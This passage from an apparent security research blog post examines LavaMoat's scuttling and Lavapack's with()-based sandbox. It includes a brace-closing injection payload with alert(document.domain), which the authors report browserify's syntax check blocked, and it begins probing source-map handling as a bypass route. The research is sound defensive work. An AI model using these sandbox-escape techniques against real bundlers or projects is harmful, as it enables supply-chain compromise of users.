",{"type":22,"tag":30,"props":51563,"children":51565},{"className":51564},[],[51566],{"type":27,"value":51567},"GlobalThis",{"type":27,"value":51569}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":22,"tag":23,"props":51571,"children":51572},{},[51573,51575,51582],{"type":27,"value":51574},"For example, ",{"type":22,"tag":80,"props":51576,"children":51579},{"href":51577,"rel":51578},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[84],[51580],{"type":27,"value":51581},"here",{"type":27,"value":51583}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":22,"tag":91,"props":51585,"children":51587},{"className":35359,"code":51586,"language":35361,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[51588],{"type":22,"tag":30,"props":51589,"children":51590},{"__ignoreMap":7},[51591,51620,51670,51729,51736,51808],{"type":22,"tag":101,"props":51592,"children":51593},{"class":103,"line":104},[51594,51598,51602,51607,51611,51616],{"type":22,"tag":101,"props":51595,"children":51596},{"style":3595},[51597],{"type":27,"value":16283},{"type":22,"tag":101,"props":51599,"children":51600},{"style":120},[51601],{"type":27,"value":3603},{"type":22,"tag":101,"props":51603,"children":51604},{"style":126},[51605],{"type":27,"value":51606},"scuttleOpts",{"type":22,"tag":101,"props":51608,"children":51609},{"style":120},[51610],{"type":27,"value":231},{"type":22,"tag":101,"props":51612,"children":51613},{"style":126},[51614],{"type":27,"value":51615},"enabled",{"type":22,"tag":101,"props":51617,"children":51618},{"style":120},[51619],{"type":27,"value":1463},{"type":22,"tag":101,"props":51621,"children":51622},{"class":103,"line":157},[51623,51627,51631,51635,51640,51644,51649,51653,51657,51661,51666],{"type":22,"tag":101,"props":51624,"children":51625},{"style":3595},[51626],{"type":27,"value":43281},{"type":22,"tag":101,"props":51628,"children":51629},{"style":120},[51630],{"type":27,"value":3603},{"type":22,"tag":101,"props":51632,"children":51633},{"style":166},[51634],{"type":27,"value":2109},{"type":22,"tag":101,"props":51636,"children":51637},{"style":126},[51638],{"type":27,"value":51639},"Array",{"type":22,"tag":101,"props":51641,"children":51642},{"style":120},[51643],{"type":27,"value":231},{"type":22,"tag":101,"props":51645,"children":51646},{"style":926},[51647],{"type":27,"value":51648},"isArray",{"type":22,"tag":101,"props":51650,"children":51651},{"style":120},[51652],{"type":27,"value":980},{"type":22,"tag":101,"props":51654,"children":51655},{"style":126},[51656],{"type":27,"value":51606},{"type":22,"tag":101,"props":51658,"children":51659},{"style":120},[51660],{"type":27,"value":231},{"type":22,"tag":101,"props":51662,"children":51663},{"style":126},[51664],{"type":27,"value":51665},"exceptions",{"type":22,"tag":101,"props":51667,"children":51668},{"style":120},[51669],{"type":27,"value":39190},{"type":22,"tag":101,"props":51671,"children":51672},{"class":103,"line":182},[51673,51678,51682,51686,51690,51695,51699,51703,51708,51712,51716,51720,51725],{"type":22,"tag":101,"props":51674,"children":51675},{"style":3595},[51676],{"type":27,"value":51677}," throw",{"type":22,"tag":101,"props":51679,"children":51680},{"style":108},[51681],{"type":27,"value":35929},{"type":22,"tag":101,"props":51683,"children":51684},{"style":926},[51685],{"type":27,"value":44278},{"type":22,"tag":101,"props":51687,"children":51688},{"style":120},[51689],{"type":27,"value":980},{"type":22,"tag":101,"props":51691,"children":51692},{"style":6476},[51693],{"type":27,"value":51694},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":22,"tag":101,"props":51696,"children":51697},{"style":108},[51698],{"type":27,"value":38104},{"type":22,"tag":101,"props":51700,"children":51701},{"style":108},[51702],{"type":27,"value":35399},{"type":22,"tag":101,"props":51704,"children":51705},{"style":126},[51706],{"type":27,"value":51707}," scuttleOpts",{"type":22,"tag":101,"props":51709,"children":51710},{"style":166},[51711],{"type":27,"value":231},{"type":22,"tag":101,"props":51713,"children":51714},{"style":126},[51715],{"type":27,"value":51665},{"type":22,"tag":101,"props":51717,"children":51718},{"style":108},[51719],{"type":27,"value":38136},{"type":22,"tag":101,"props":51721,"children":51722},{"style":6476},[51723],{"type":27,"value":51724},"\"`",{"type":22,"tag":101,"props":51726,"children":51727},{"style":120},[51728],{"type":27,"value":2510},{"type":22,"tag":101,"props":51730,"children":51731},{"class":103,"line":367},[51732],{"type":22,"tag":101,"props":51733,"children":51734},{"style":120},[51735],{"type":27,"value":16668},{"type":22,"tag":101,"props":51737,"children":51738},{"class":103,"line":398},[51739,51744,51748,51753,51757,51762,51766,51771,51775,51780,51784,51788,51792,51796,51800,51804],{"type":22,"tag":101,"props":51740,"children":51741},{"style":126},[51742],{"type":27,"value":51743}," scuttleOpts",{"type":22,"tag":101,"props":51745,"children":51746},{"style":120},[51747],{"type":27,"value":231},{"type":22,"tag":101,"props":51749,"children":51750},{"style":926},[51751],{"type":27,"value":51752},"scuttlerFunc",{"type":22,"tag":101,"props":51754,"children":51755},{"style":120},[51756],{"type":27,"value":980},{"type":22,"tag":101,"props":51758,"children":51759},{"style":126},[51760],{"type":27,"value":51761},"globalRef",{"type":22,"tag":101,"props":51763,"children":51764},{"style":120},[51765],{"type":27,"value":758},{"type":22,"tag":101,"props":51767,"children":51768},{"style":126},[51769],{"type":27,"value":51770},"realm",{"type":22,"tag":101,"props":51772,"children":51773},{"style":108},[51774],{"type":27,"value":31751},{"type":22,"tag":101,"props":51776,"children":51777},{"style":926},[51778],{"type":27,"value":51779}," performScuttleGlobalThis",{"type":22,"tag":101,"props":51781,"children":51782},{"style":120},[51783],{"type":27,"value":980},{"type":22,"tag":101,"props":51785,"children":51786},{"style":126},[51787],{"type":27,"value":51770},{"type":22,"tag":101,"props":51789,"children":51790},{"style":120},[51791],{"type":27,"value":758},{"type":22,"tag":101,"props":51793,"children":51794},{"style":126},[51795],{"type":27,"value":51606},{"type":22,"tag":101,"props":51797,"children":51798},{"style":120},[51799],{"type":27,"value":231},{"type":22,"tag":101,"props":51801,"children":51802},{"style":126},[51803],{"type":27,"value":51665},{"type":22,"tag":101,"props":51805,"children":51806},{"style":120},[51807],{"type":27,"value":23703},{"type":22,"tag":101,"props":51809,"children":51810},{"class":103,"line":428},[51811],{"type":22,"tag":101,"props":51812,"children":51813},{"style":120},[51814],{"type":27,"value":1734},{"type":22,"tag":23,"props":51816,"children":51817},{},[51818,51820,51826,51828,51834],{"type":27,"value":51819},"Subsequently, the code defines a ",{"type":22,"tag":80,"props":51821,"children":51824},{"href":51822,"rel":51823},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[84],[51825],{"type":27,"value":35373},{"type":27,"value":51827}," called ",{"type":22,"tag":30,"props":51829,"children":51831},{"className":51830},[],[51832],{"type":27,"value":51833},"generateScuttleOpts",{"type":27,"value":51835}," that creates and returns an options object.",{"type":22,"tag":23,"props":51837,"children":51838},{},[51839,51841,51847,51848,51854,51856,51861,51863,51869],{"type":27,"value":51840},"Finally, the ",{"type":22,"tag":30,"props":51842,"children":51844},{"className":51843},[],[51845],{"type":27,"value":51846},"performScuttleGlobalThis",{"type":27,"value":2169},{"type":22,"tag":80,"props":51849,"children":51852},{"href":51850,"rel":51851},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[84],[51853],{"type":27,"value":35373},{"type":27,"value":51855}," modifies the properties of the global object (",{"type":22,"tag":30,"props":51857,"children":51859},{"className":51858},[],[51860],{"type":27,"value":51761},{"type":27,"value":51862},"). It starts by creating an array ",{"type":22,"tag":30,"props":51864,"children":51866},{"className":51865},[],[51867],{"type":27,"value":51868},"props",{"type":27,"value":51870},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":22,"tag":53,"props":51872,"children":51874},{"id":51873},"hacking-webpacks",[51875],{"type":27,"value":51876},"Hacking Webpacks",{"type":22,"tag":23,"props":51878,"children":51879},{},[51880],{"type":27,"value":51881},"Now let's get to the fun stuff.",{"type":22,"tag":23,"props":51883,"children":51884},{},[51885],{"type":27,"value":51886},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":22,"tag":91,"props":51888,"children":51890},{"className":35359,"code":51889,"language":35361,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[51891],{"type":22,"tag":30,"props":51892,"children":51893},{"__ignoreMap":7},[51894,51946,51958,51978,51995,52003,52011,52019,52027,52048,52056,52064,52072,52079,52086,52093],{"type":22,"tag":101,"props":51895,"children":51896},{"class":103,"line":104},[51897,51901,51906,51910,51915,51919,51924,51928,51933,51937,51942],{"type":22,"tag":101,"props":51898,"children":51899},{"style":108},[51900],{"type":27,"value":40185},{"type":22,"tag":101,"props":51902,"children":51903},{"style":126},[51904],{"type":27,"value":51905}," filename",{"type":22,"tag":101,"props":51907,"children":51908},{"style":166},[51909],{"type":27,"value":960},{"type":22,"tag":101,"props":51911,"children":51912},{"style":926},[51913],{"type":27,"value":51914}," encodeURI",{"type":22,"tag":101,"props":51916,"children":51917},{"style":120},[51918],{"type":27,"value":980},{"type":22,"tag":101,"props":51920,"children":51921},{"style":926},[51922],{"type":27,"value":51923},"String",{"type":22,"tag":101,"props":51925,"children":51926},{"style":120},[51927],{"type":27,"value":980},{"type":22,"tag":101,"props":51929,"children":51930},{"style":126},[51931],{"type":27,"value":51932},"moduleData",{"type":22,"tag":101,"props":51934,"children":51935},{"style":120},[51936],{"type":27,"value":231},{"type":22,"tag":101,"props":51938,"children":51939},{"style":126},[51940],{"type":27,"value":51941},"file",{"type":22,"tag":101,"props":51943,"children":51944},{"style":120},[51945],{"type":27,"value":23703},{"type":22,"tag":101,"props":51947,"children":51948},{"class":103,"line":157},[51949,51953],{"type":22,"tag":101,"props":51950,"children":51951},{"style":108},[51952],{"type":27,"value":11865},{"type":22,"tag":101,"props":51954,"children":51955},{"style":126},[51956],{"type":27,"value":51957}," moduleWrapperSource\n",{"type":22,"tag":101,"props":51959,"children":51960},{"class":103,"line":182},[51961,51965,51969,51974],{"type":22,"tag":101,"props":51962,"children":51963},{"style":3595},[51964],{"type":27,"value":35390},{"type":22,"tag":101,"props":51966,"children":51967},{"style":120},[51968],{"type":27,"value":3603},{"type":22,"tag":101,"props":51970,"children":51971},{"style":126},[51972],{"type":27,"value":51973},"bundleWithPrecompiledModules",{"type":22,"tag":101,"props":51975,"children":51976},{"style":120},[51977],{"type":27,"value":1463},{"type":22,"tag":101,"props":51979,"children":51980},{"class":103,"line":367},[51981,51986,51990],{"type":22,"tag":101,"props":51982,"children":51983},{"style":126},[51984],{"type":27,"value":51985}," moduleWrapperSource",{"type":22,"tag":101,"props":51987,"children":51988},{"style":166},[51989],{"type":27,"value":960},{"type":22,"tag":101,"props":51991,"children":51992},{"style":6476},[51993],{"type":27,"value":51994}," `function(){\n",{"type":22,"tag":101,"props":51996,"children":51997},{"class":103,"line":398},[51998],{"type":22,"tag":101,"props":51999,"children":52000},{"style":6476},[52001],{"type":27,"value":52002}," with (this.scopeTerminator) {\n",{"type":22,"tag":101,"props":52004,"children":52005},{"class":103,"line":428},[52006],{"type":22,"tag":101,"props":52007,"children":52008},{"style":6476},[52009],{"type":27,"value":52010}," with (this.globalThis) {\n",{"type":22,"tag":101,"props":52012,"children":52013},{"class":103,"line":997},[52014],{"type":22,"tag":101,"props":52015,"children":52016},{"style":6476},[52017],{"type":27,"value":52018}," return function() {\n",{"type":22,"tag":101,"props":52020,"children":52021},{"class":103,"line":1032},[52022],{"type":22,"tag":101,"props":52023,"children":52024},{"style":6476},[52025],{"type":27,"value":52026}," 'use strict';\n",{"type":22,"tag":101,"props":52028,"children":52029},{"class":103,"line":1063},[52030,52035,52039,52044],{"type":22,"tag":101,"props":52031,"children":52032},{"style":6476},[52033],{"type":27,"value":52034}," // source: ",{"type":22,"tag":101,"props":52036,"children":52037},{"style":108},[52038],{"type":27,"value":38104},{"type":22,"tag":101,"props":52040,"children":52041},{"style":126},[52042],{"type":27,"value":52043},"filename",{"type":22,"tag":101,"props":52045,"children":52046},{"style":108},[52047],{"type":27,"value":188},{"type":22,"tag":101,"props":52049,"children":52050},{"class":103,"line":1071},[52051],{"type":22,"tag":101,"props":52052,"children":52053},{"style":6476},[52054],{"type":27,"value":52055}," return function (require, module, exports) {\n",{"type":22,"tag":101,"props":52057,"children":52058},{"class":103,"line":1110},[52059],{"type":22,"tag":101,"props":52060,"children":52061},{"style":6476},[52062],{"type":27,"value":52063}," __MODULE_CONTENT__\n",{"type":22,"tag":101,"props":52065,"children":52066},{"class":103,"line":1118},[52067],{"type":22,"tag":101,"props":52068,"children":52069},{"style":6476},[52070],{"type":27,"value":52071}," };\n",{"type":22,"tag":101,"props":52073,"children":52074},{"class":103,"line":1158},[52075],{"type":22,"tag":101,"props":52076,"children":52077},{"style":6476},[52078],{"type":27,"value":12709},{"type":22,"tag":101,"props":52080,"children":52081},{"class":103,"line":1166},[52082],{"type":22,"tag":101,"props":52083,"children":52084},{"style":6476},[52085],{"type":27,"value":2398},{"type":22,"tag":101,"props":52087,"children":52088},{"class":103,"line":1215},[52089],{"type":22,"tag":101,"props":52090,"children":52091},{"style":6476},[52092],{"type":27,"value":16668},{"type":22,"tag":101,"props":52094,"children":52095},{"class":103,"line":2425},[52096],{"type":22,"tag":101,"props":52097,"children":52098},{"style":6476},[52099],{"type":27,"value":52100}," }`\n",{"type":22,"tag":23,"props":52102,"children":52103},{},[52104,52106,52112,52114,52120],{"type":27,"value":52105},"Lavapack uses ",{"type":22,"tag":30,"props":52107,"children":52109},{"className":52108},[],[52110],{"type":27,"value":52111},"with()",{"type":27,"value":52113}," proxies to restrict the objects accessible by the module, and ",{"type":22,"tag":30,"props":52115,"children":52117},{"className":52116},[],[52118],{"type":27,"value":52119},"__MODULE_CONTENT__",{"type":27,"value":52121}," is replaced by the content of a file required by the project being built.",{"type":22,"tag":1760,"props":52123,"children":52125},{"id":52124},"injection-not-so-simple",[52126],{"type":27,"value":52127},"Injection? Not So Simple",{"type":22,"tag":23,"props":52129,"children":52130},{},[52131,52133,52138],{"type":27,"value":52132},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":22,"tag":30,"props":52134,"children":52136},{"className":52135},[],[52137],{"type":27,"value":16655},{"type":27,"value":52139}," environment:",{"type":22,"tag":91,"props":52141,"children":52143},{"className":35359,"code":52142,"language":35361,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[52144],{"type":22,"tag":30,"props":52145,"children":52146},{"__ignoreMap":7},[52147,52160,52172,52184,52196,52203],{"type":22,"tag":101,"props":52148,"children":52149},{"class":103,"line":104},[52150,52155],{"type":22,"tag":101,"props":52151,"children":52152},{"style":120},[52153],{"type":27,"value":52154}," } ",{"type":22,"tag":101,"props":52156,"children":52157},{"style":2215},[52158],{"type":27,"value":52159},"// end function 1\n",{"type":22,"tag":101,"props":52161,"children":52162},{"class":103,"line":157},[52163,52167],{"type":22,"tag":101,"props":52164,"children":52165},{"style":120},[52166],{"type":27,"value":35464},{"type":22,"tag":101,"props":52168,"children":52169},{"style":2215},[52170],{"type":27,"value":52171},"// end function 2\n",{"type":22,"tag":101,"props":52173,"children":52174},{"class":103,"line":182},[52175,52179],{"type":22,"tag":101,"props":52176,"children":52177},{"style":120},[52178],{"type":27,"value":1506},{"type":22,"tag":101,"props":52180,"children":52181},{"style":2215},[52182],{"type":27,"value":52183},"// end with 1\n",{"type":22,"tag":101,"props":52185,"children":52186},{"class":103,"line":367},[52187,52191],{"type":22,"tag":101,"props":52188,"children":52189},{"style":120},[52190],{"type":27,"value":50870},{"type":22,"tag":101,"props":52192,"children":52193},{"style":2215},[52194],{"type":27,"value":52195},"// end with 2\n",{"type":22,"tag":101,"props":52197,"children":52198},{"class":103,"line":398},[52199],{"type":22,"tag":101,"props":52200,"children":52201},{"emptyLinePlaceholder":15},[52202],{"type":27,"value":1581},{"type":22,"tag":101,"props":52204,"children":52205},{"class":103,"line":428},[52206,52210,52214,52218,52222,52226],{"type":22,"tag":101,"props":52207,"children":52208},{"style":926},[52209],{"type":27,"value":36694},{"type":22,"tag":101,"props":52211,"children":52212},{"style":120},[52213],{"type":27,"value":980},{"type":22,"tag":101,"props":52215,"children":52216},{"style":126},[52217],{"type":27,"value":36704},{"type":22,"tag":101,"props":52219,"children":52220},{"style":120},[52221],{"type":27,"value":231},{"type":22,"tag":101,"props":52223,"children":52224},{"style":126},[52225],{"type":27,"value":36714},{"type":22,"tag":101,"props":52227,"children":52228},{"style":120},[52229],{"type":27,"value":2510},{"type":22,"tag":23,"props":52231,"children":52232},{},[52233,52235,52241,52243,52250],{"type":27,"value":52234},"However, when we tried to bundle it, a ",{"type":22,"tag":30,"props":52236,"children":52238},{"className":52237},[],[52239],{"type":27,"value":52240},"ParseError",{"type":27,"value":52242}," was thrown. This is because Lavapack is a plugin of ",{"type":22,"tag":80,"props":52244,"children":52247},{"href":52245,"rel":52246},"https://github.com/browserify/browserify",[84],[52248],{"type":27,"value":52249},"browserify",{"type":27,"value":52251},", which has a syntax check before replacing the code.",{"type":22,"tag":23,"props":52253,"children":52254},{},[52255,52257,52263,52265,52271,52273,52279,52281,52286],{"type":27,"value":52256},"Looking deeper into browserify, we find it has a ",{"type":22,"tag":30,"props":52258,"children":52260},{"className":52259},[],[52261],{"type":27,"value":52262},"syntax",{"type":27,"value":52264}," stage on it's pipeline, and uses the ",{"type":22,"tag":30,"props":52266,"children":52268},{"className":52267},[],[52269],{"type":27,"value":52270},"syntax-error",{"type":27,"value":52272}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":22,"tag":30,"props":52274,"children":52276},{"className":52275},[],[52277],{"type":27,"value":52278},"pack",{"type":27,"value":52280}," stage on browserify pipeline, which comes after the ",{"type":22,"tag":30,"props":52282,"children":52284},{"className":52283},[],[52285],{"type":27,"value":52262},{"type":27,"value":52287},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":22,"tag":23,"props":52289,"children":52290},{},[52291],{"type":22,"tag":7959,"props":52292,"children":52295},{"alt":52293,"src":52294},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":22,"tag":23,"props":52297,"children":52298},{},[52299,52300,52305,52307,52312],{"type":27,"value":2007},{"type":22,"tag":30,"props":52301,"children":52303},{"className":52302},[],[52304],{"type":27,"value":52270},{"type":27,"value":52306}," package performs a syntax check by using ",{"type":22,"tag":30,"props":52308,"children":52310},{"className":52309},[],[52311],{"type":27,"value":41544},{"type":27,"value":52313}," with function hoisting:",{"type":22,"tag":91,"props":52315,"children":52317},{"className":35359,"code":52316,"language":35361,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[52318],{"type":22,"tag":30,"props":52319,"children":52320},{"__ignoreMap":7},[52321,52333,52383,52394,52401,52422,52463,52523,52564],{"type":22,"tag":101,"props":52322,"children":52323},{"class":103,"line":104},[52324,52329],{"type":22,"tag":101,"props":52325,"children":52326},{"style":3595},[52327],{"type":27,"value":52328},"try",{"type":22,"tag":101,"props":52330,"children":52331},{"style":120},[52332],{"type":27,"value":154},{"type":22,"tag":101,"props":52334,"children":52335},{"class":103,"line":157},[52336,52341,52345,52350,52354,52359,52363,52368,52374,52379],{"type":22,"tag":101,"props":52337,"children":52338},{"style":926},[52339],{"type":27,"value":52340}," eval",{"type":22,"tag":101,"props":52342,"children":52343},{"style":120},[52344],{"type":27,"value":980},{"type":22,"tag":101,"props":52346,"children":52347},{"style":6476},[52348],{"type":27,"value":52349},"'throw \"STOP\"; (function () { '",{"type":22,"tag":101,"props":52351,"children":52352},{"style":166},[52353],{"type":27,"value":3643},{"type":22,"tag":101,"props":52355,"children":52356},{"style":126},[52357],{"type":27,"value":52358}," src",{"type":22,"tag":101,"props":52360,"children":52361},{"style":166},[52362],{"type":27,"value":3643},{"type":22,"tag":101,"props":52364,"children":52365},{"style":6476},[52366],{"type":27,"value":52367}," '",{"type":22,"tag":101,"props":52369,"children":52371},{"style":52370},"--shiki-default:#D7BA7D",[52372],{"type":27,"value":52373},"\\n",{"type":22,"tag":101,"props":52375,"children":52376},{"style":6476},[52377],{"type":27,"value":52378},"})()'",{"type":22,"tag":101,"props":52380,"children":52381},{"style":120},[52382],{"type":27,"value":994},{"type":22,"tag":101,"props":52384,"children":52385},{"class":103,"line":182},[52386,52390],{"type":22,"tag":101,"props":52387,"children":52388},{"style":3595},[52389],{"type":27,"value":20986},{"type":22,"tag":101,"props":52391,"children":52392},{"style":120},[52393],{"type":27,"value":1520},{"type":22,"tag":101,"props":52395,"children":52396},{"class":103,"line":367},[52397],{"type":22,"tag":101,"props":52398,"children":52399},{"style":120},[52400],{"type":27,"value":188},{"type":22,"tag":101,"props":52402,"children":52403},{"class":103,"line":398},[52404,52409,52413,52418],{"type":22,"tag":101,"props":52405,"children":52406},{"style":3595},[52407],{"type":27,"value":52408},"catch",{"type":22,"tag":101,"props":52410,"children":52411},{"style":120},[52412],{"type":27,"value":3603},{"type":22,"tag":101,"props":52414,"children":52415},{"style":126},[52416],{"type":27,"value":52417},"err",{"type":22,"tag":101,"props":52419,"children":52420},{"style":120},[52421],{"type":27,"value":1463},{"type":22,"tag":101,"props":52423,"children":52424},{"class":103,"line":428},[52425,52429,52433,52437,52441,52446,52450,52455,52459],{"type":22,"tag":101,"props":52426,"children":52427},{"style":3595},[52428],{"type":27,"value":16283},{"type":22,"tag":101,"props":52430,"children":52431},{"style":120},[52432],{"type":27,"value":3603},{"type":22,"tag":101,"props":52434,"children":52435},{"style":126},[52436],{"type":27,"value":52417},{"type":22,"tag":101,"props":52438,"children":52439},{"style":166},[52440],{"type":27,"value":35418},{"type":22,"tag":101,"props":52442,"children":52443},{"style":6476},[52444],{"type":27,"value":52445}," 'STOP'",{"type":22,"tag":101,"props":52447,"children":52448},{"style":120},[52449],{"type":27,"value":901},{"type":22,"tag":101,"props":52451,"children":52452},{"style":3595},[52453],{"type":27,"value":52454},"return",{"type":22,"tag":101,"props":52456,"children":52457},{"style":108},[52458],{"type":27,"value":43332},{"type":22,"tag":101,"props":52460,"children":52461},{"style":120},[52462],{"type":27,"value":1520},{"type":22,"tag":101,"props":52464,"children":52465},{"class":103,"line":997},[52466,52470,52474,52478,52482,52487,52491,52496,52501,52506,52510,52514,52519],{"type":22,"tag":101,"props":52467,"children":52468},{"style":3595},[52469],{"type":27,"value":16283},{"type":22,"tag":101,"props":52471,"children":52472},{"style":120},[52473],{"type":27,"value":3603},{"type":22,"tag":101,"props":52475,"children":52476},{"style":126},[52477],{"type":27,"value":52417},{"type":22,"tag":101,"props":52479,"children":52480},{"style":120},[52481],{"type":27,"value":231},{"type":22,"tag":101,"props":52483,"children":52484},{"style":126},[52485],{"type":27,"value":52486},"constructor",{"type":22,"tag":101,"props":52488,"children":52489},{"style":120},[52490],{"type":27,"value":231},{"type":22,"tag":101,"props":52492,"children":52493},{"style":126},[52494],{"type":27,"value":52495},"name",{"type":22,"tag":101,"props":52497,"children":52498},{"style":166},[52499],{"type":27,"value":52500}," !==",{"type":22,"tag":101,"props":52502,"children":52503},{"style":6476},[52504],{"type":27,"value":52505}," 'SyntaxError'",{"type":22,"tag":101,"props":52507,"children":52508},{"style":120},[52509],{"type":27,"value":901},{"type":22,"tag":101,"props":52511,"children":52512},{"style":3595},[52513],{"type":27,"value":52454},{"type":22,"tag":101,"props":52515,"children":52516},{"style":126},[52517],{"type":27,"value":52518}," err",{"type":22,"tag":101,"props":52520,"children":52521},{"style":120},[52522],{"type":27,"value":1520},{"type":22,"tag":101,"props":52524,"children":52525},{"class":103,"line":1032},[52526,52530,52535,52539,52543,52547,52551,52555,52560],{"type":22,"tag":101,"props":52527,"children":52528},{"style":3595},[52529],{"type":27,"value":20986},{"type":22,"tag":101,"props":52531,"children":52532},{"style":926},[52533],{"type":27,"value":52534}," errorInfo",{"type":22,"tag":101,"props":52536,"children":52537},{"style":120},[52538],{"type":27,"value":980},{"type":22,"tag":101,"props":52540,"children":52541},{"style":126},[52542],{"type":27,"value":36666},{"type":22,"tag":101,"props":52544,"children":52545},{"style":120},[52546],{"type":27,"value":758},{"type":22,"tag":101,"props":52548,"children":52549},{"style":126},[52550],{"type":27,"value":51941},{"type":22,"tag":101,"props":52552,"children":52553},{"style":120},[52554],{"type":27,"value":758},{"type":22,"tag":101,"props":52556,"children":52557},{"style":126},[52558],{"type":27,"value":52559},"opts",{"type":22,"tag":101,"props":52561,"children":52562},{"style":120},[52563],{"type":27,"value":994},{"type":22,"tag":101,"props":52565,"children":52566},{"class":103,"line":1063},[52567],{"type":22,"tag":101,"props":52568,"children":52569},{"style":120},[52570],{"type":27,"value":188},{"type":22,"tag":23,"props":52572,"children":52573},{},[52574,52576,52580,52582,52588,52590,52595],{"type":27,"value":52575},"Interestingly, it ",{"type":22,"tag":6961,"props":52577,"children":52578},{},[52579],{"type":27,"value":8017},{"type":27,"value":52581}," possible to inject a ",{"type":22,"tag":30,"props":52583,"children":52585},{"className":52584},[],[52586],{"type":27,"value":52587},"}); (() => {",{"type":27,"value":52589}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":22,"tag":30,"props":52591,"children":52593},{"className":52592},[],[52594],{"type":27,"value":52111},{"type":27,"value":52596}," sandbox of Lavapack.",{"type":22,"tag":1760,"props":52598,"children":52600},{"id":52599},"sourcemap-the-syntax-killer",[52601],{"type":27,"value":52602},"SourceMap: The Syntax Killer",{"type":22,"tag":23,"props":52604,"children":52605},{},[52606,52608,52615],{"type":27,"value":52607},"Lavapack has a feature to extract source maps files from the code using ",{"type":22,"tag":80,"props":52609,"children":52612},{"href":52610,"rel":52611},"https://www.npmjs.com/package/convert-source-map",[84],[52613],{"type":27,"value":52614},"convert-source-map",{"type":27,"value":52616}," npm package:",{"type":22,"tag":91,"props":52618,"children":52620},{"className":35359,"code":52619,"language":35361,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[52621],{"type":22,"tag":30,"props":52622,"children":52623},{"__ignoreMap":7},[52624,52648,52690,52698,52739,52780,52808],{"type":22,"tag":101,"props":52625,"children":52626},{"class":103,"line":104},[52627,52631,52636,52640,52644],{"type":22,"tag":101,"props":52628,"children":52629},{"style":108},[52630],{"type":27,"value":35373},{"type":22,"tag":101,"props":52632,"children":52633},{"style":926},[52634],{"type":27,"value":52635}," extractSourceMaps",{"type":22,"tag":101,"props":52637,"children":52638},{"style":120},[52639],{"type":27,"value":980},{"type":22,"tag":101,"props":52641,"children":52642},{"style":126},[52643],{"type":27,"value":42010},{"type":22,"tag":101,"props":52645,"children":52646},{"style":120},[52647],{"type":27,"value":1463},{"type":22,"tag":101,"props":52649,"children":52650},{"class":103,"line":157},[52651,52655,52660,52664,52669,52673,52678,52682,52686],{"type":22,"tag":101,"props":52652,"children":52653},{"style":108},[52654],{"type":27,"value":40185},{"type":22,"tag":101,"props":52656,"children":52657},{"style":126},[52658],{"type":27,"value":52659}," converter",{"type":22,"tag":101,"props":52661,"children":52662},{"style":166},[52663],{"type":27,"value":960},{"type":22,"tag":101,"props":52665,"children":52666},{"style":126},[52667],{"type":27,"value":52668}," convertSourceMap",{"type":22,"tag":101,"props":52670,"children":52671},{"style":120},[52672],{"type":27,"value":231},{"type":22,"tag":101,"props":52674,"children":52675},{"style":926},[52676],{"type":27,"value":52677},"fromSource",{"type":22,"tag":101,"props":52679,"children":52680},{"style":120},[52681],{"type":27,"value":980},{"type":22,"tag":101,"props":52683,"children":52684},{"style":126},[52685],{"type":27,"value":42010},{"type":22,"tag":101,"props":52687,"children":52688},{"style":120},[52689],{"type":27,"value":2510},{"type":22,"tag":101,"props":52691,"children":52692},{"class":103,"line":182},[52693],{"type":22,"tag":101,"props":52694,"children":52695},{"style":2215},[52696],{"type":27,"value":52697}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":22,"tag":101,"props":52699,"children":52700},{"class":103,"line":367},[52701,52705,52710,52714,52718,52722,52726,52730,52735],{"type":22,"tag":101,"props":52702,"children":52703},{"style":108},[52704],{"type":27,"value":40185},{"type":22,"tag":101,"props":52706,"children":52707},{"style":126},[52708],{"type":27,"value":52709}," 